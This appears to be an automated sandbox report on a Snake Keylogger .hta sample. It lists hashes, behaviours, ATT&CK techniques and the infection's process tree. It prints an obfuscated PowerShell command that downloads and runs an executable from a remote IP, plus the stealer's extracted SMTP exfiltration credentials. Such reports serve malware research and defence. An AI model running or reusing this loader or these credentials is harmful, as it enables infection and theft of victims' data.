snakekeylogger | 1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
27-09-2024 08:57

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General

Target

17116a0f43508549998ef6618154d77a.hta
Size

115KB
MD5

17116a0f43508549998ef6618154d77a
SHA1

e71af8b0489263e476521a5fd6e22e5511369c4d
SHA256

1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64
SHA512

a6824f19100e0fd4c996ab8db64875fb1c0c0e4d045792793b45ad1e93cb358c6746289209d8d1f4634c6ebed9ade9e43a5b3407856780e7e60954efc249e9d9
SSDEEP

96:Ea+M7wmf6PCZ60NUrnPmeobQk9B6/A6I6L1j+Z668AT:Ea+Qwmf6PCZ6kUTWfz6Y6dKZ6+T

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.teilecar.com
Port:
587
Username:
[email protected]
Password:
Manta924porsche=911
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 3 IoCs

resource	yara_rule
behavioral1/memory/320-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/320-31-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/320-30-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1820	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
1820	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2544	dllhost.exe

Loads dropped DLL 1 IoCs

pid	Process
1820	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0008000000018741-23.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2544 set thread context of 320	2544	dllhost.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1820	powershell.exe
1820	powershell.exe
1820	powershell.exe
320	RegSvcs.exe
320	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2544	dllhost.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	320	RegSvcs.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 388 wrote to memory of 2468	388	mshta.exe	31
PID 388 wrote to memory of 2468	388	mshta.exe	31
PID 388 wrote to memory of 2468	388	mshta.exe	31
PID 388 wrote to memory of 2468	388	mshta.exe	31
PID 2468 wrote to memory of 1820	2468	cmd.exe	33
PID 2468 wrote to memory of 1820	2468	cmd.exe	33
PID 2468 wrote to memory of 1820	2468	cmd.exe	33
PID 2468 wrote to memory of 1820	2468	cmd.exe	33
PID 1820 wrote to memory of 2288	1820	powershell.exe	34
PID 1820 wrote to memory of 2288	1820	powershell.exe	34
PID 1820 wrote to memory of 2288	1820	powershell.exe	34
PID 1820 wrote to memory of 2288	1820	powershell.exe	34
PID 2288 wrote to memory of 2784	2288	csc.exe	35
PID 2288 wrote to memory of 2784	2288	csc.exe	35
PID 2288 wrote to memory of 2784	2288	csc.exe	35
PID 2288 wrote to memory of 2784	2288	csc.exe	35
PID 1820 wrote to memory of 2544	1820	powershell.exe	37
PID 1820 wrote to memory of 2544	1820	powershell.exe	37
PID 1820 wrote to memory of 2544	1820	powershell.exe	37
PID 1820 wrote to memory of 2544	1820	powershell.exe	37
PID 2544 wrote to memory of 320	2544	dllhost.exe	38
PID 2544 wrote to memory of 320	2544	dllhost.exe	38
PID 2544 wrote to memory of 320	2544	dllhost.exe	38
PID 2544 wrote to memory of 320	2544	dllhost.exe	38
PID 2544 wrote to memory of 320	2544	dllhost.exe	38
PID 2544 wrote to memory of 320	2544	dllhost.exe	38
PID 2544 wrote to memory of 320	2544	dllhost.exe	38
PID 2544 wrote to memory of 320	2544	dllhost.exe	38

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\17116a0f43508549998ef6618154d77a.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:388
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c POwerSheLl -eX BypASs -nop -W 1 -c DevIceCrEdeNTiAldEplOymENT.Exe ; Iex($(iEX('[sYStem.tEXt.ENcoDINg]'+[char]0x3a+[ChAR]0X3a+'UTf8.GEtStRiNG([SyStem.cOnvErt]'+[char]0x3A+[char]0x3a+'FROMBasE64STRIng('+[CHAr]0X22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZcEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVmSW5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmNzY1NJTSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ3FpWEIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWssdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvSkRMcGx6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuZEdHIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBya1lBRVF4ekt4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNi82MDAvZGxsaG9zdC5leGUiLCIkRU52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c1RBclQtU0xlRVAoMyk7U3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[CHAR]0X22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POwerSheLl -eX BypASs -nop -W 1 -c DevIceCrEdeNTiAldEplOymENT.Exe ; Iex($(iEX('[sYStem.tEXt.ENcoDINg]'+[char]0x3a+[ChAR]0X3a+'UTf8.GEtStRiNG([SyStem.cOnvErt]'+[char]0x3A+[char]0x3a+'FROMBasE64STRIng('+[CHAr]0X22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZcEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVmSW5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmNzY1NJTSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ3FpWEIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWssdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvSkRMcGx6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuZEdHIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBya1lBRVF4ekt4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNi82MDAvZGxsaG9zdC5leGUiLCIkRU52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c1RBclQtU0xlRVAoMyk7U3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[CHAR]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\d2zhicyl.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2288
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD818.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD807.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2784
  - - C:\Users\Admin\AppData\Roaming\dllhost.exe
      "C:\Users\Admin\AppData\Roaming\dllhost.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2544
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Users\Admin\AppData\Roaming\dllhost.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESD818.tmp

Filesize
1KB

MD5
c097e9ac1b3b1854499f47780dc5ad86

SHA1
e31641b6718d737578129fd4064521622ecb12f6

SHA256
b3b4829a00460a4afd97d4622e947028c4e6656c58624c3ed7262c818dbd1f18

SHA512
66c702454dda6a566e9d6a773c7ddba2089d910ad067c2d45d3b083fe4f4d1feba62c92c50382c083c1846747efebaaf6b97ae0eca0ad92fa3bba0e2be7b7f05

Download Submit
C:\Users\Admin\AppData\Local\Temp\d2zhicyl.dll

Filesize
3KB

MD5
68cbe1b350efce02efaf154f3819ba2f

SHA1
8ef5dbc1ef0c4f3d71b835a3217d5abd9a1c087a

SHA256
3d7c8cb0fee21ddb55d07ed7d63e1d8959a5f50fea0d6c64ee3fbceedae37eb8

SHA512
3b5ab0608f5a33bbaa7d95fbf8d1810153881002defaa999f1a68589c29c8e12d0f302752c37989db42e6f5412996e624bf61665faa007eaa3cefc66e08df863

Download Submit
C:\Users\Admin\AppData\Local\Temp\d2zhicyl.pdb

Filesize
7KB

MD5
b3fbc51f848268086e9694b6da702fdb

SHA1
32335cd14e9fd5ab55b9aa1d3a72336a837e93c1

SHA256
04144f553041d05dd99fa5faff4fd845c168a7adaa645690e40b60c449f4597b

SHA512
230749fde7b73d320062060ab0247ba348ec50c2ac3735dec01294ed165ab6bc87f02218a56d904217a6ad2cf6091c2f4f931e1ffa20d0e2aeb02a88bb224899

Download Submit
C:\Users\Admin\AppData\Roaming\dllhost.exe

Filesize
956KB

MD5
249f4ca7f1cc801c87cebd0cdf0b398e

SHA1
1241f91fa9239ed0553c33f6d3651644813f6f84

SHA256
b639e9680b5ac670c7b58863479c1cf9c7bea436aee481fa9729c6a82508e556

SHA512
0b6ae1f507b5599f9fb651576e12ae378b66111193623d806f0e6266e8ee93f1fa5dedd4d4b96f3360fecc81962b76e9bacc7c1096a96df5b33fbd64aa6a18d6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCD807.tmp

Filesize
652B

MD5
658624169ddc8e2ae3769bea09d71096

SHA1
f9d3330642c9685654a9293b81b8cb88a7e25b2e

SHA256
0d838d7f097d23019ed2dae76970228b6fb7ebc4baf8f3757487fbd417646ef8

SHA512
6f65fc6cc2c440b6d3d1376621a165129a4396532aa4aab0f9483dccc9b50a505abf5f17c89445b22ffcbd6f510fb07d54e711025ff6968ed2c24676ca42359f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\d2zhicyl.0.cs

Filesize
475B

MD5
74ac079a164eedfd18ee0237dead2da7

SHA1
62575f712ded8ea2637ee5e5eda8ae9cf2919dc1

SHA256
6c72d2a89a0a1d35a067d9322c4c94503d5a75a2e6308cbf9b7bc95e9396f615

SHA512
7994aaef91f02e10fd65e782063492a1658e9b1e6e6ffa3a54fce1ab14b39c19bbd3b61cea46908f87cfde0466ef53e3be352c003db797bef0c9f67875285dbb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\d2zhicyl.cmdline

Filesize
309B

MD5
4f0a351214162f1b9fefeea760bec1b4

SHA1
9f169633e805cac4918da616bb92577c7ad48635

SHA256
9e4df52152ac3a8a45e094a0aa8261bebb3f8e80d092300130bf9eb45c1827ed

SHA512
644b545538e6a99f5ccd9fb38c58e8af2f32b99236ff2cf472cf71e0763e8743f0aa7611ca1fc2516296276616ef9795fca294f79f631f691afef5e882a977b2

Download Submit
memory/320-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/320-31-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/320-30-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download